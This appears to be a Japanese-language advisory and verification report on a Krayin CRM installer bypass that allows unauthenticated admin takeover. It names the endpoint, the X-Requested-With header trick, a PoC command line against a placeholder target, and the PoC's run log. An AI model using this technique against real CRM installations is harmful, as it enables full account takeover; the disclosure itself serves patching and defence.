
CVE-2026-41452 — Krayin CRM の未認証インストーラーバイパス (X-Requested-With) → 管理者乗っ取り。検証済み: 2.2.4 で上書き + ログイン成功、2.2.5 でブロック
CVSS 9.8(Critical) · CWE-287 / CWE-306 · Jiva の解説 · VulnCheck
Krayin CRM のインストーラーは、POST /install/api/admin-config-setup(および run-migration、run-seeder)を CSRF 保護なしで(withoutMiddleware('web') グループ)公開しています。CanInstall グローバルミドルウェアは、非 AJAX リクエストに対してのみルートをブロックします。
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
X-Requested-With: XMLHttpRequest を送信すると、チェックが完全にスキップされます。コントローラーは、攻撃者が指定した名前/メール/パスワード(role_id=1、status=1)で ハードコードされたプライマリ管理者(ユーザー id=1) を updateOrInsert し、既にインストール済みのインスタンス上で 認証なしの完全な管理者乗っ取り が成立します。
影響を受けるバージョン: ≤ 2.2.0 および 2.2.4(リグレッション)。修正: 2.2.1(e4eb96f5)、2.2.4 で再発(6a7bc4cc)、2.2.5 で再修正(ea4919a8)。調査時点では master は依然として脆弱でした。
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
連鎖手順:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → 管理者(id=1)が上書きされる/admin/login にログイン → /admin/dashboard にリダイレクト[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
修正済みビルドとの比較: v2.2.5 のファイルでは、同じ AJAX POST は HTTP 403(ブロック)になります。
公開されて到達可能な Krayin CRM インストール(v2.2.4 または ≤2.2.0)は、認証されていない攻撃者によって 1 回のリクエストで完全に乗っ取られる可能性があります。CSRF も認証情報もユーザーの操作も不要です。
ea4919a8(v2.2.5)・リグレッション: 6a7bc4cc(v2.2.4)・最初の修正: e4eb96f5(v2.2.1)